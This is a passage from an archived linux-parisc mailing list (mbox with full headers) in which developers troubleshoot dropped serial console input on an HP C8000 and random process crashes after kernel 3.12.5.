>>>> side that could cause this, and I never had this problem with the  
>>>> old
>>>> ttyB0 code. While entering a password, some characters never turn
>>>> up on
>>>> the other side and some get echoed back to the client.
>>>>
>>>> Is anyone else seeing this?
>>>
>>> What I see is that the C3600 now finally sees the kernel/console
>>> output of the
>>> C8000, I also see the login prompt, but typing anything on the C3600
>>> doesn't
>>> seem to make it to the C8k. So things have improved, I now can
>>> actually see
>>
>> Is XON/XOFF enabled in your terminal program?  See c8000 Technical
>> Reference
>> Guide for setup requirements
>>
>> I'm using standard PC null modem cable from c3750 to c8000 and  
>> minicom
>> 2.7.  It works
>> fine but it's fairly slow.
>
> Both on and off doesn't make a difference.
>
> One other thing: the serial line from the C8000 to my Sun Fire V240  
> works
> flawlessly.


Same cable?  Does boot output look ok or are characters dropped?
Which kernels specifically (c8000 can c3600)?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 18:03:17 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <7905648.nun1s37FKj@eto>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net> <1417398.fmUESL4Ngr@eto> <BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1647935.XlaHKAT2zv"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1390669397 18717 80.91.229.3 (25 Jan 2014 17:03:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 17:03:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 18:03:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W76de-0004BO-2O
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 18:03:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752082AbaAYRDV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 12:03:21 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:33111 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751914AbaAYRDU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 12:03:20 -0500
Original-Received: (qmail 16071 invoked from network); 25 Jan 2014 17:03:02 -0000
Original-Received: from dslb-188-096-222-185.pools.arcor-ip.net ([::ffff:188.96.222.185]:50658 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 25 Jan 2014 18:03:02 +0100
User-Agent: KMail/4.11.5 (Linux/3.10.10-25.g8038aea-desktop; KDE/4.11.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5645
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5645>


--nextPart1647935.XlaHKAT2zv
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

> > One other thing: the serial line from the C8000 to my Sun Fire V240
> > works
> > flawlessly.
> 
> Same cable?  Does boot output look ok or are characters dropped?
> Which kernels specifically (c8000 can c3600)?

c8000: 3.12.5 minus the mmap patch (the same for 3.12.8)
c3600: 3.12.5

Boot output looks fine. Cables are normal nullmodem. I can interact using 
minicom with the firmware, i.e. typing "BO PRI<return>N<return>" or things 
like that work fine.

Eike
--nextPart1647935.XlaHKAT2zv
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlLj7lUACgkQXKSJPmm5/E4rMQCeIRC3+9XmSvhobY2dQ1qlM+6q
wf0An1khHWlayHoESSDecEBOmJarId9E
=IVq6
-----END PGP SIGNATURE-----

--nextPart1647935.XlaHKAT2zv--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 18:13:48 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20140125181348.67a2bf8f@marga.jer-c2.orkz.net>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>
	<1417398.fmUESL4Ngr@eto>
	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>
	<7905648.nun1s37FKj@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390670030 26002 80.91.229.3 (25 Jan 2014 17:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 17:13:50 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 18:13:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W76ns-0008Ux-G4
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 18:13:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752733AbaAYRN4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 12:13:56 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:59373 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752730AbaAYRNz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 12:13:55 -0500
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 52FB733F66C;
	Sat, 25 Jan 2014 17:13:54 +0000 (UTC)
In-Reply-To: <7905648.nun1s37FKj@eto>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5646>

On Sat, 25 Jan 2014 18:03:17 +0100
Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:

> Boot output looks fine. Cables are normal nullmodem. I can interact
> using minicom with the firmware, i.e. typing "BO
> PRI<return>N<return>" or things like that work fine.

Yes, in the PDC everything still seems fine.

But as early as in the IPL I can't paste a string without
characters dropping (which is how I first noticed the issue, since
that's where I normally do this to select a kernel to boot). So did the
IPL change as well, then?



     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 12:54:55 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <52E4168F.1010606@landcomp.net>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>	<1417398.fmUESL4Ngr@eto>	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>	<7905648.nun1s37FKj@eto> <20140125181348.67a2bf8f@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390679696 32161 80.91.229.3 (25 Jan 2014 19:54:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 19:54:56 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	John David Anglin <dave.anglin@bell.net>
To: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 20:55:03 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W79Jm-0007QO-KO
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 20:55:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752112AbaAYTy5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 14:54:57 -0500
Original-Received: from landcomp.net ([192.119.43.5]:22763 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752104AbaAYTy5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 14:54:57 -0500
Original-Received: (qmail 782 invoked by uid 453); 25 Jan 2014 19:54:56 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Sat, 25 Jan 2014 12:54:56 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20140125181348.67a2bf8f@marga.jer-c2.orkz.net>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5647
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5647>

On 1/25/14 10:13 AM, Jeroen Roovers wrote:
> On Sat, 25 Jan 2014 18:03:17 +0100
> Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>
>> Boot output looks fine. Cables are normal nullmodem. I can interact
>> using minicom with the firmware, i.e. typing "BO
>> PRI<return>N<return>" or things like that work fine.
>
> Yes, in the PDC everything still seems fine.
>
> But as early as in the IPL I can't paste a string without
> characters dropping (which is how I first noticed the issue, since
> that's where I normally do this to select a kernel to boot). So did the
> IPL change as well, then?
>
>
>
>       jer
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>
(I probably should have hit reply-all on this before...)

Just as an FYI, I had some of the same behavior when I first set my 
J6750 up with a serial line (null modem cable to a secondary machine)
Usually had to type the p/w 2 or 3 times to get it to 'take' in minicom. 
One thing I *did* notice was the *length* of the null modem cable and 
the proximity of the 2 machines seemed to make a difference (bad cable 
shielding maybe?) Just my 2 cents. (Running Kernel Ver. 3.12.6-2 at the 
moment)

...and like Dave A. mentioned, Xon/Xoff makes a difference too.

Dave L.

P.S. Now that it's up and running, and I usually log in with PUTTY or 
the STIcon graphics console, it's not a problem anymore. :-)
-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 13:04:59 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <52E418EB.9050404@landcomp.net>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>	<1417398.fmUESL4Ngr@eto>	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>	<7905648.nun1s37FKj@eto> <20140125181348.67a2bf8f@marga.jer-c2.orkz.net> <52E4168F.1010606@landcomp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390680310 5179 80.91.229.3 (25 Jan 2014 20:05:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 20:05:10 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	John David Anglin <dave.anglin@bell.net>
To: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 21:05:17 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W79TW-0002qa-MY
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 21:05:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752513AbaAYUFE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 15:05:04 -0500
Original-Received: from landcomp.net ([192.119.43.5]:22895 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752239AbaAYUFB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 15:05:01 -0500
Original-Received: (qmail 1040 invoked by uid 453); 25 Jan 2014 20:05:00 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Sat, 25 Jan 2014 13:05:00 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <52E4168F.1010606@landcomp.net>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5648
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5648>

On 1/25/14 12:54 PM, Dave Land wrote:
> On 1/25/14 10:13 AM, Jeroen Roovers wrote:
>> On Sat, 25 Jan 2014 18:03:17 +0100
>> Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>>
>>> Boot output looks fine. Cables are normal nullmodem. I can interact
>>> using minicom with the firmware, i.e. typing "BO
>>> PRI<return>N<return>" or things like that work fine.
>>
>> Yes, in the PDC everything still seems fine.
>>
>> But as early as in the IPL I can't paste a string without
>> characters dropping (which is how I first noticed the issue, since
>> that's where I normally do this to select a kernel to boot). So did the
>> IPL change as well, then?
>>
>>
>>
>>       jer
>> --
>> To unsubscribe from this list: send the line "unsubscribe
>> linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>
>>
> (I probably should have hit reply-all on this before...)
>
> Just as an FYI, I had some of the same behavior when I first set my
> J6750 up with a serial line (null modem cable to a secondary machine)
> Usually had to type the p/w 2 or 3 times to get it to 'take' in minicom.
> One thing I *did* notice was the *length* of the null modem cable and
> the proximity of the 2 machines seemed to make a difference (bad cable
> shielding maybe?) Just my 2 cents. (Running Kernel Ver. 3.12.6-2 at the
> moment)
>
> ...and like Dave A. mentioned, Xon/Xoff makes a difference too.
>
> Dave L.
>
> P.S. Now that it's up and running, and I usually log in with PUTTY or
> the STIcon graphics console, it's not a problem anymore. :-)

One other thing... If you're using the serial line, make sure you don't 
have a monitor or keyboard & mouse hooked to the target machine (I know 
the C8000's are graphics capable and most likely have usb ports for 
keyboard and mouse, the same as my J6750.) This seems to confuse the 
machine in the early setup stages, at least it did make a difference on 
mine.

Dave L.

-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 15:13:47 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net> <1417398.fmUESL4Ngr@eto> <BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl> <7905648.nun1s37FKj@eto> <20140125181348.67a2bf8f@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390680890 13373 80.91.229.3 (25 Jan 2014 20:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 20:14:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 21:14:55 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W79cn-0004bb-OJ
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 21:14:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755795AbaAYUOc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 15:14:32 -0500
Original-Received: from blu0-omc3-s22.blu0.hotmail.com ([65.55.116.97]:39702 "EHLO
	blu0-omc3-s22.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755606AbaAYUOF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 15:14:05 -0500
Original-Received: from BLU0-SMTP31 ([65.55.116.73]) by blu0-omc3-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 25 Jan 2014 12:14:05 -0800
X-TMN: [wHUrVWw7ByIWWqTQkut1LFtT8iOJZ5NK]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.170.59]) by BLU0-SMTP31.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 25 Jan 2014 12:14:04 -0800
In-Reply-To: <20140125181348.67a2bf8f@marga.jer-c2.orkz.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Jan 2014 20:14:04.0545 (UTC) FILETIME=[FE983710:01CF1A09]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5649
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5649>

On 25-Jan-14, at 12:13 PM, Jeroen Roovers wrote:

> On Sat, 25 Jan 2014 18:03:17 +0100
> Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>
>> Boot output looks fine. Cables are normal nullmodem. I can interact
>> using minicom with the firmware, i.e. typing "BO
>> PRI<return>N<return>" or things like that work fine.
>
> Yes, in the PDC everything still seems fine.
>
> But as early as in the IPL I can't paste a string without
> characters dropping (which is how I first noticed the issue, since
> that's where I normally do this to select a kernel to boot). So did  
> the
> IPL change as well, then?


Helge has made some changes to palo but I believe that we are on the  
PDC boot
console (ttyB0) until switch over here:

Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
17: ttyS0 at MMIO 0xfffffff0f05e0800 (irq = 75, base_baud = 115200) is  
a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
18: ttyS1 at MMIO 0xfffffff0f05e2800 (irq = 76, base_baud = 115200) is  
a 16550A

The PDC code is in firmware.

How long is your cable?    There's no shield connection on DB9  
connector.  You just
need to cross transmit and receive data.  Signal ground is straight  
through.

Dave L is correct about USB keyboard and mouse confusing serial  
console support.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Sat, 25 Jan 2014 14:30:39 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <1390689039.2275.52.camel@dabdike.int.hansenpartnership.com>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de>
	 <20140124220723.5985ac4e@marga.jer-c2.orkz.net>
	 <20140124222615.66cb0d2a@borg.lux.tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390689042 2512 80.91.229.3 (25 Jan 2014 22:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 22:30:42 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 23:30:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7BkR-0001KP-Hz
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 23:30:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753232AbaAYWam (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 17:30:42 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49549 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753114AbaAYWal (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 17:30:41 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0BB998EE0C6;
	Sat, 25 Jan 2014 14:30:41 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vm0dpW6r1ATL; Sat, 25 Jan 2014 14:30:40 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 817B98EE0A2;
	Sat, 25 Jan 2014 14:30:40 -0800 (PST)
In-Reply-To: <20140124222615.66cb0d2a@borg.lux.tuxicoman.be>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5650
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5650>

On Fri, 2014-01-24 at 22:26 +0100, Guy Martin wrote:
> On Fri, 24 Jan 2014 22:07:23 +0100
> Jeroen Roovers <jer@gentoo.org> wrote:
> 
> > On Fri, 24 Jan 2014 21:44:51 +0100
> > Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> > 
> > > I reported that I saw strange things happening after upgrading to
> > > 3.12.5. Meanwhile I upgraded to 3.12.8 and things became worse. I
> > > regularly see processes to fail randomly. I can see this as I
> > > somethimes get failures in my nagios because the SSH connection to
> > > the watched host (only the watched one runs .8) fails.
> > 
> > Confirmed with any kernel above 3.12.2 that I cared to test (I didn't
> > test 3.12.3). The issues vary from illegal instructions to
> > segmentation faults to double frees in userland, so it's basically a
> > "random" thing. I can't say it's become "worse" after 3.12.5 (since I
> > haven't kept per version statistics).
> 
> 
> Same here, 3.12.5 was not behaving correctly and 3.12.8 was even worse.
> With the later, I also experienced sshd segfault, python threading
> segfault/hangs.
> I quickly reverted to 3.12.4 which is far more stable.

This all sounds like a flushing problem.  I can't confirm with my
pa8800 ... but that could be because the additional pa8800 flushes are
masking the problem.  Could you try bisecting the parisc commits
between .4 and .5 and see if there's a particular cause?

Thanks,

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Sat, 25 Jan 2014 23:40:06 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <38632185.Uo4SvuvNmB@caliban.sf-tec.de>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de> <20140124222615.66cb0d2a@borg.lux.tuxicoman.be> <1390689039.2275.52.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3963997.VMk9lzrmrJ"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1390689617 7926 80.91.229.3 (25 Jan 2014 22:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 22:40:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 23:40:23 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7Btm-00055i-SE
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 23:40:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
